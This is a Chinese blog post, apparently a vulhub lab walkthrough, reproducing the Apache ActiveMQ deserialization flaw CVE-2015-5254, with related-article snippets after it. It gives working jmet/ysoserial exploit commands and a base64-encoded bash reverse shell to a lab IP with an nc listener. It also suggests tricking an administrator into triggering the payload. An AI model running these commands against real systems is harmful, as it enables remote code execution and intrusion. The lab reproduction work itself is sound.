首页 > 其他分享 >CVE-2015-5254

CVE-2015-5254

时间:2023-12-01 17:35:52浏览次数:30  
标签:jmet 5254 61616 jar 漏洞 2015 10.10 CVE ActiveMQ

ActiveMQ 反序列化漏洞(CVE-2015-5254)

漏洞原理

Apache ActiveMQ是美国阿帕奇(Apache)软件基金会所研发的一套开源的信息中间件,他支持Java消息服务、集群、Spring Framework等。

Apache ActiveMQ 5.13.0之前5.x版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的Java Message Service(JMS)ObjectMessage对象利用该漏洞执行任意代码。

cd /vulhub/activemq/CVE-2015-5254
docker-compose up -d

运行后,将监听61616和8161两个端口。其中61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。访问http://10.10.10.10:8161即可看到web管理页面,不过这个漏洞理论上是不需要web的。
img

漏洞复现

漏洞利用过程如下:

  1. 构造(可以使用ysoserial)可执行命令的序列化对象
  2. 作为一个消息,发送给目标61616端口
  3. 访问web管理页面,读取消息,触发漏洞

使用jmet进行漏洞利用。首先下载jmet的jar文件,并在同目录下创建一个external文件夹(否则可能会爆文件夹不存在的错误)。
jmet原理是使用ysoserial生成Payload并发送(其jar内自带ysoserial,无需再自己下载),所以我们需要再ysoserial是gadget中选择一个可以使用的,比如ROME。
执行:

java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616

<!-- -Q指定队列消息名,-I选择要装载的JMS客户端,这里是ActiveMQ,-s是选择ysoserial payload,-Y指定具体的命令,-Yp指定payload类型,其后分别是ActiveMQ所在机器的ip及工作端口,所以这条命令是使用ROME payload把执行 touch/success命令序列化后作为名为event的信息发送给ActiveMQ -->

执行此处命令后会给目标ActiveMQ加一个名为event的队列,可通过点击事件,触发远程命令。此时进入容器docker-compose exec activemq bash,可见/tmp/success已经成功创建,说明漏洞利用成功:
img
img

反弹shell

  • 将bash -i >& /dev/tcp/10.10.10.128/4444 0>&1编码base64
  • 使用命令
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xMC4xMjgvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" -Yp ROME 10.10.10.10 61616
  • nc -lnvp 4444
    值得注意的是,通过web管理页面访问消息并触发漏洞这个过程需要管理员权限。在没有密码的情况下,我们可以诱导管理员访问我们的链接以触发,或者伪装成其他合法服务需要的消息,等待客户端访问的时候触发。

标签:jmet,5254,61616,jar,漏洞,2015,10.10,CVE,ActiveMQ
From: https://www.cnblogs.com/kalixcn/p/17870556.html

相关文章

  • vulhub中spring的CVE-2018-1273漏洞复现
    ​ 1.影响版本SpringDataCommons1.13-1.13.10(IngallsSR10)SpringDataREST2.6-2.6.10(IngallsSR10)SpringDataCommons2.0to2.0.5(KaySR5)SpringDataREST3.0-3.0.5(KaySR5)2.漏洞原理SpringData是一个用于简化数据库访问,并支持云服务的开源框......
  • CVE-2018-2628
    WeblogicWLSCoreComponents反序列化命令执行漏洞(CVE-2018-2628)Oracle2018年4月补丁中,修复了WeblogicServerWLSCoreComponents中出现的一个反序列化漏洞(CVE-2018-2628),该漏洞通过t3协议触发,可导致未授权的用户在远程服务器执行任意命令。漏洞环境cdweblogic/CVE-2018-2......
  • P1955 [NOI2015] 程序自动分析
    P1955[NOI2015]程序自动分析基本思路考虑到了不等号的不可传递性,所以决定只开相等的并查集。然后突发奇想,觉得可以在找父亲的过程中判断是不是冲突。然而这样就不能路径压缩,显然超时。并且,根本没看清楚数据范围,实际上这题的数很大,裸开数组会爆炸。这是一开始的代码#inclu......
  • Weblogic < 10.3.6 'wls-wsat' XMLDecoder 反序列化漏洞(CVE-2017-10271)
    Weblogic<10.3.6'wls-wsat'XMLDecoder反序列化漏洞(CVE-2017-10271)Weblogic的WLSSecurity组件对外提供webservice服务,其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令。环境搭建cdweblogic/CVE-2017-10271docker-compose......
  • [IOI2015] Teams 题解
    妙妙题。不难发现,我们对于每个\(k\)取出的人都是满足\(a_i\leqk\leqb_i\)的。经典的,我们直接将\((a_i,b_i)\)转化到二维平面上,将它转化成一个二维数点问题。我们对于每一个询问,都使\(k\)有序,从小到大贪心的选择,也就相当于\(x\)轴限制不断向右,\(y\)轴限制不断......
  • Apache Spark 认证绕过漏洞(CVE-2020-9480)研究
    一、ApacheSpark简介Spark是一种快速、通用、可扩展的大数据分析引擎,2009年诞生于加州大学伯克利分校AMPLab,2010年开源,2013年6月成为Apache孵化项目,2014年2月成为Apache顶级项目。项目是用Scala进行编写。目前,Spark生态系统已经发展成为一个包含多个子项目的集合,其中包含Spa......
  • JetBrains TeamCity 任意代码执行漏洞(CVE-2023-42793)研究
    一、JetBrainsTeamCity简介TeamCity是一款由JetBrains开发的强大的持续集成(ContinuousIntegration,CI)和持续部署(ContinuousDeployment,CD)工具。它帮助开发团队自动化构建、测试和部署过程,以确保软件项目的质量和快速交付。TeamCity的主要特点和优势包括:灵活的构建配......
  • Apache Shiro 1.2.4反序列化漏洞(CVE-2016-4437)
    ApacheShiro1.2.4反序列化漏洞(CVE-2016-4437)ApacheShiro是一款开源安全框架,提供身份认证、授权、密码学和会话管理。Shiro框架直观、易用,同时也提供健壮的安全性。ApacheShiro1.2.4以及以前部版本中,加密的用户信息序列号后存储在名为remember-me的Cookie中,攻击者开源使用Shi......
  • CVE-2023-4357 Chrome任意文件读取 [漏洞复现]
    CVE-2023-4357Chrome任意文件读取--->漏洞描述由于未充分验证XML中不受信任的输入,远程攻击者可利用该漏洞通过构建的HTML页面绕过文件访问限制,导致chrome任意文件读取。漏洞复现--->影响版本GoogleChrome<116.0.5845.96proxychainswgethttps://edgedl.me.gvt1.......
  • 关于 Angular 构建之后生成的 dist 目录和 esm2020, fesm2015 等等
    在Angular应用中,dist目录是构建应用后的输出目录,其中包含了已编译、打包和优化的应用文件。assets文件夹通常用于存放应用所需的静态资源,如图片、字体、配置文件等。esm2020、fesm2015和fesm2020是Angular构建过程中生成的文件夹,它们主要与Angular的模块加载系统和代码优化有关。......